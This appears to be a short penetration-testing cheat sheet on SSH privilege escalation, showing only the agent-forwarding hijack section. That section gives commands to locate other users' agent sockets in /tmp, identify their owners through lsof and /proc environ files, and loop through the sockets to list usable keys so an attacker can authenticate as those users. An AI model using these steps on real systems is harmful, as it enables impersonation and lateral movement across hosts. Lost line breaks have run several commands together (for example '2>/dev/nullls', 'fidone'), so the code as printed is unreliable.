Privilege escalation via SSH: agent forwarding hijack, writable SSH configs, weak keys, and authorized_keys abuse.
SSH Agent Forwarding Hijack
If another user has SSH agent forwarding enabled, you can use their agent socket to authenticate as them to remote hosts.
Find Active Agent Sockets
find /tmp -name "agent.*" -type s 2>/dev/nullls -la /tmp/ssh-*/
Identify Socket Owner
# Find which process owns the socketlsof /tmp/ssh-XXXXXXXX/agent.YYYY 2>/dev/null# Or check environment of SSH processesgrep -z SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'
for sock in $(find /tmp -name "agent.*" -type s 2>/dev/null); do export SSH_AUTH_SOCK=$sock keys=$(ssh-add -l 2>/dev/null) if [ $? -eq 0 ]; then echo "=== $sock ===" echo "$keys" fidone